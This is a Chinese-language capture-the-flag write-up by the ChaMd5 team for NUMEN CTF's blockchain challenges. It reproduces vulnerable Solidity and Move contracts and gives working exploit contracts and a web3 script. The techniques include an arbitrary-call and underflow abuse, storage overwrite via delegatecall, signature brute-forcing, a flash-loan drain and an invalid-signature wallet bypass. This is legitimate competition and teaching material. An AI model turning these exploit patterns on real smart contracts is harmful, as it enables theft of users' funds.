NUMEN CTF writeup by ChaMd5
2023-4-1 08:1:42 Author: ChaMd5安全团队(查看原文) 阅读量:24 收藏

Blockchain

simplecall

解题思路

pragma solidity ^0.7.0;

contract ExistingStock {

address public owner;
address private reserve;

string public name = "Existing Stock";
string public symbol = "ES";
uint256 public decimals = 18;
uint256 public totalSupply = 200000000000;
uint8 public frequency = 1;

bool public Lock = false;
bool public result;
bool public flag;

event Approval(address indexed from, address indexed to, uint number);
event Transfer(address indexed from, address indexed to, uint number);
event Deposit(address indexed to, uint number);
event Withdraw(address indexed from, uint number);
event Target(address indexed from, bool result);

mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;

constructor() public {
owner = msg.sender;
balanceOf[owner] = totalSupply;
}

function approve(address to, uint number) public returns (bool) {
allowance[msg.sender][to] = number;
emit Approval(msg.sender, to, number);
return true;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balanceOf[msg.sender] - _value >= 0);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
return true;
}

function transferFrom(address from, address to, uint number) public returns (bool){

require(balanceOf[from] >= number);

if (from != msg.sender && allowance[from][msg.sender] != uint256(-1)) {
require(allowance[from][msg.sender] >= number);
allowance[from][msg.sender] -= number;
}

balanceOf[from] -= number;
balanceOf[to] += number;

emit Transfer(from, to, number);
return true;
}

function privilegedborrowing(uint256 value,address secure,address target,bytes memory data) public {
require(Lock == false && value >= 0 && value <= 1000);
balanceOf[address(this)] -= value;
balanceOf[target] += value;

address(target).call(data);

Lock = true;

require(balanceOf[target] >= value);
balanceOf[address(this)] += value;
balanceOf[target] -= value;

Lock = false;
}

function withdraw(uint number) public {
require(balanceOf[msg.sender] >= number);
balanceOf[msg.sender] -= number;
(msg.sender).transfer(number);
emit Withdraw(msg.sender, number);
}

function setflag() public {
if(balanceOf[msg.sender] > 200000 && allowance[address(this)][msg.sender] > 200000){
flag = true;
}
}

function isSolved() public view returns(bool){
return flag;
}
}

这个挑战需要通过的条件是

balanceOf[msg.sender] > 200000 && allowance[address(this)][msg.sender] > 200000)

可以看到在privilegedborrowing函数中有low-level call的调用,并且没有限制target的来源,所以我们相当于可以以msg.sender为合约本身的条件来调用合约的所有函数,比如调用approve函数来满足第二个条件

在transfer函数中存在数据溢出,导致require会失效,可以任意转账

解题脚本

pragma solidity ^0.7.0;

interface ExistingStock{
    function privilegedborrowing(uint256 value,address secure,address target,bytes memory data) external ;
    function setflag() external ;
}

contract EXP{
    ExistingStock target;
    constructor(address _addr){
        target = ExistingStock(_addr);
    }

    function hack() public {
        target.privilegedborrowing(0, address(0), address(target), abi.encodeWithSignature("transfer(address,uint256)", address(this), 200001));
        target.privilegedborrowing(0, address(0), address(target), abi.encodeWithSignature("approve(address,uint256)", address(this), 200001));
        target.setflag();
    }
    
}

counter

解题思路
源代码

pragma solidity ^0.8.13;

contract Deployer {
    constructor(bytes memory code) { assembly { return (add(code, 0x20), mload(code)) } }
}
contract SmartCounter{
    address public owner;
    address public target;
    bool flag=false;
    constructor(address owner_){
        owner=owner_;
    }
    function create(bytes memory code) public{
        require(code.length<=24);
        target=address(new Deployer(code));
    }

    function A_delegateccall(bytes memory data) public{
        (bool success,bytes memory returnData)=target.delegatecall(data);
        require(owner==msg.sender);
        flag=true;
    }
    function isSolved() public view returns(bool){
        return flag;
    }
}

给了一个创建合约和delegatecall的接口,create函数限制字节码长度要小于等于24,部署成功后可以通过A_delegateccall函数来delegatecall之前的合约,拿到flag的条件是要变成owner

由于是delegatecall,所以相当于把字节码直接拿到合约里执行,又因为owner在slot1,所以只要写一个修改slot1的字节码就行了

CALLER
PUSH1 0x00
SSTORE

直接调用A_delegateccall函数,参数是0x33600055。

GOATFinance

解题思路

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract PrivilegeFinance {

string public name = "Privilege Finance";
string public symbol = "PF";
uint256 public decimals = 18;
uint256 public totalSupply = 200000000000;
mapping(address => uint) public balances;
mapping(address => address) public referrers;
string msgsender = '0x71fA690CcCDC285E3Cb6d5291EA935cfdfE4E0';
uint public rewmax = 65000000000000000000000;
uint public time = 1677729607;
uint public Timeinterval = 600;
uint public Timewithdraw = 6000;
uint public Timeintervallimit = block.timestamp;
uint public Timewithdrawlimit = block.timestamp;
bytes32 r = 0xf296e6b417ce70a933383191bea6018cb24fa79d22f7fb3364ee4f54010a472c;
bytes32 s = 0x62bdb7aed9e2f82b2822ab41eb03e86a9536fcccff5ef6c1fbf1f6415bd872f9;
uint8 v = 28;
address public admin = 0x2922F8CE662ffbD46e8AE872C1F285cd4a23765b;
uint public burnFees = 2;
uint public ReferrerFees = 8;
uint public transferRate = 10;
address public BurnAddr = 0x000000000000000000000000000000000000dEaD;
bool public flag;

constructor() public {
balances[address(this)] = totalSupply;
}

function Airdrop() public {
require(balances[msg.sender] == 0 && block.timestamp >= Timeintervallimit,"Collection time not reached");
balances[msg.sender] += 1000;
balances[address(this)] -= 1000;
Timeintervallimit += Timeinterval;
}

function deposit(address token, uint256 amount, address _ReferrerAddress) public {
require(amount > 0, "amount zero!");
if (msg.sender != address(0) && _ReferrerAddress != address(0) && msg.sender != _ReferrerAddress && referrers[msg.sender] == address(0)) {
referrers[msg.sender] = _ReferrerAddress;
}
balances[msg.sender] -= amount;
balances[address(this)] += amount;
}

function withdraw(address token, uint256 amount) public {
require(balances[msg.sender] == 0 && block.timestamp >= Timewithdrawlimit,"Collection time not reached");
require(amount > 0 && amount <= 2000,"Financial restrictions");
Timewithdrawlimit += Timewithdraw;
require(amount > 0, "amount zero!");
balances[msg.sender] += amount;
balances[address(this)] -= amount;
}

function DynamicRew(address _msgsender,uint _blocktimestamp,uint _ReferrerFees,uint _transferRate) public returns(address) {
require(_blocktimestamp < 1677729610, "Time mismatch");
require(_transferRate <= 50 && _transferRate <= 50);
bytes32 _hash = keccak256(abi.encodePacked(_msgsender, rewmax, _blocktimestamp));
address a = ecrecover(_hash, v, r, s);
require(a == admin && time < _blocktimestamp, "time or banker");
ReferrerFees = _ReferrerFees;
transferRate = _transferRate;
return a;
}

function transfer(address recipient,uint256 amount) public {
if(msg.sender == admin){
uint256 _fee = amount * transferRate / 100;
_transfer(msg.sender, referrers[msg.sender], _fee * ReferrerFees / transferRate);
_transfer(msg.sender, BurnAddr, _fee * burnFees / transferRate);
_transfer(address(this), recipient, amount * amount * transferRate);
amount = amount - _fee;

}else if(recipient == admin){
uint256 _fee = amount * transferRate / 100;
_transfer(address(this), referrers[msg.sender], _fee * ReferrerFees / transferRate);
_transfer(msg.sender, BurnAddr, _fee * burnFees / transferRate);
amount = amount - _fee;
}
_transfer(msg.sender, recipient, amount);
}

function _transfer(address from, address _to, uint _value) internal returns (bool) {
balances[from] -= _value;
balances[_to] += _value;
return true;
}

function setflag() public {
if(balances[msg.sender] > 10000000){
flag = true;
}
}

function isSolved() public view returns(bool){
return flag;
}

}

拿到flag的条件是balances[msg.sender] > 10000000,在DynamicRew函数中可以设置ReferrerFees和transferRate,但是需要通过ecrecover函数

题目给了msgsender但是并不是完整的地址,缺少了一个十六进制位,需要爆破一下,脚本如下

pragma solidity ^0.8.4;

contract TEST {

    uint public rewmax = 65000000000000000000000;
   
    bytes32 r = 0xf296e6b417ce70a933383191bea6018cb24fa79d22f7fb3364ee4f54010a472c;
    bytes32 s = 0x62bdb7aed9e2f82b2822ab41eb03e86a9536fcccff5ef6c1fbf1f6415bd872f9;
    uint8 v = 28;

    address public result;
    mapping(uint=>address) public addresses;

    function sign(uint _blocktimestamp) public returns(bytes32){
        uint count = 0;
        for (uint i = 0x0071fA690CcCDC285E3Cb6d5291EA935cfdfE4E000; i<=0x0071fA690CcCDC285E3Cb6d5291EA935cfdfE4E0ff; i++){
            address x = address(uint160(uint256(i)));
            addresses[count] = x;
            bytes32 _hash = keccak256(abi.encodePacked(x, rewmax, _blocktimestamp));
            address a = ecrecover(_hash, v, r, s);
            count = count + 1;
            if(a==0x2922F8CE662ffbD46e8AE872C1F285cd4a23765b){
                result = address(uint160(uint256(i)));
            }
        }            

    }
}

根据源码提示,合理的timestamp应该是在1677729607-1677729610

并不难试出应该是1677729609,之后调用函数爆破就行了之后修改ReferrerFees和transferRate给自己转账就行。

LenderPool

解题思路
源代码

contract LenderPool is ReentrancyGuard {
    using Address for address;
    IERC20 public immutable token0;
    IERC20 public immutable token1;

    constructor() {
        token0 = new ERC20();
        token1 = new ERC20();
    }

    function swap(address tokenAddress,uint amount) public returns(uint){
        require(
            tokenAddress == address(token0)
        
            && token1.transferFrom(msg.sender,address(this),amount) 
            
            && token0.transfer(msg.sender,amount)

            || tokenAddress== address(token1)
            
            && token0.transferFrom(msg.sender,address(this),amount) 
            
            && token1.transfer(msg.sender,amount));
        return amount;

    } 

    function flashLoan(uint256 borrowAmount, address borrower)
        external
        nonReentrant
    {
        uint256 balanceBefore = token0.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        token0.transfer(borrower, borrowAmount);
        borrower.functionCall(abi.encodeWithSignature("receiveEther(uint256)", borrowAmount));

        uint256 balanceAfter = token0.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

}

一个简单的闪电贷漏洞,解题脚本在下面

pragma solidity 0.8.16;

interface  LenderPool{
     function flashLoan(uint256 borrowAmount, address borrower)external;
     function swap(address tokenAddress,uint amount) external;
     function token0() external returns(address);
     function token1() external returns(address);
}

interface erc20{
    function approve(address spender, uint256 amount) external returns (bool);
}

contract EXP{
    LenderPool victim;
    constructor(address _addr) public {
        victim = LenderPool(_addr);
        erc20(victim.token0()).approve(_addr,100000000000000000000);
        erc20(victim.token1()).approve(_addr,100000000000000000000);
    }

    function hack() public{
        victim.flashLoan(100000000000000000000, address(this));
        victim.swap(victim.token0(), 100000000000000000000);
    }

    function receiveEther(uint256) public{
        victim.swap(victim.token1(), 100000000000000000000);
    }
}

Move-checkin

解题思路
源代码

module checkin::checkin {
    use sui::object::{Self, UID};
    use sui::transfer;
    use sui::tx_context::{Self, TxContext};
    use sui::event;

    struct Flag has copy, drop {
        user: address,
        flag: bool
    }

    fun init(ctx: &mut TxContext) {
    }

    public entry fun HelloHackers(buffer: vector<u8>,ctx: &mut TxContext) {
        let h=buffer;
        let value=b"hello";
        if(h == value){
            event::emit(Flag {
                user: tx_context::sender(ctx),
                flag: true
            });
        }
    }
}

需要调用HelloHackers函数,并传入参数为"hello"

Move-ChatGPT tell me where is the vulnerability

解题思路

Google一下可以找到漏洞分析 https://medium.com/numen-cyber-labs/analysis-of-the-first-critical-0-day-vulnerability-of-aptos-move-vm-8c1fd6c2b98e
可以看到漏洞是在stack_usage_verifier.rs里面,去github查一下就行:
https://github.com/move-language/move/commit/566ace5a9ec01e0e685f4bfba79072fe635a6cb2

Exist

解题思路

用这个网站https://mct.xyz/VanityAddressGenerator生成地址最低2个字节为0x5a54的地址即可。然后用该地址调用share_my_vault函数即可。

HEXP

解题思路

from web3 import Web3
from web3.middleware import geth_poa_middleware

w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))
w3.middleware_onion.inject(geth_poa_middleware, layer=0)
# 题目合约地址
target = "0xf416D27823287FF4ae38C9A4678Ca7622E27A62E"

private_key = 'xxxxxxxxxx'
acct = w3.eth.account.from_key(private_key)

tmp = w3.eth.get_block_number()
blockhash = w3.eth.get_block(tmp-10+2)['hash']
blockhash = w3.to_int(blockhash)
gasprice = (blockhash)&0xffffff

signed_txn = w3.eth.account.sign_transaction(dict(
    nonce=w3.eth.get_transaction_count(acct.address),
    gasPrice = gasprice,
    gas=5555555,
    to=target,
    value=0,
    data=bytes.fromhex('00000000'),
    chainId=0x4b1a
),
private_key,
)

tx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

print(tx_hash)
print(tx_receipt)

一次可能不成功,多打几次就ok了。

Wallet

解题思路
调试了一下在verify函数里holder.user会变成0x0,因此随便输入数据让ecrecover出错就行。先setup然后exp即可。

contract Exploit{
    SignedByowner[] public sbarray;
    Wallet public wl;
    address public target;

    constructor(address _t) public{
        target= _t;
        wl = Wallet(target);
    }
    function setup() public returns(bytes memory){
        Holder memory holder1 = Holder(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, 'a'true, bytes("aaa"));
        Holder memory holder2 = Holder(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2, 'b'true, bytes("aaa"));
        Holder memory holder3 = Holder(0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db, 'c'true, bytes("aaa"));

        bytes32[2] memory rs1 = [bytes32(0), bytes32(0)];
        Signature memory sig1 = Signature(uint8(26), rs1);
        bytes32[2] memory rs2 = [bytes32(0), bytes32(0)];
        Signature memory sig2 = Signature(uint8(26), rs2);
        
        bytes32[2] memory rs3 = [bytes32(0), bytes32(0)];
        Signature memory sig3 = Signature(uint8(26), rs3);

        SignedByowner memory tmpsb1 = SignedByowner(holder1,sig1);
        SignedByowner memory tmpsb2 = SignedByowner(holder2,sig2);
        SignedByowner memory tmpsb3 = SignedByowner(holder3,sig3);

        sbarray.push(tmpsb1);
        sbarray.push(tmpsb2);
        sbarray.push(tmpsb3);

    }

    function exp() public{
        wl.transferWithSign(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, 100000000000000000000, sbarray);
    }
}

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247508454&idx=1&sn=d9b8f6b2a5173dd1ebba0334f7e78220&chksm=e89d893edfea00284778cc39198a741c63c9e16b60e1071d2c2811201ca05089a7719c95ba60#rd
如有侵权请联系:admin#unsafe.sh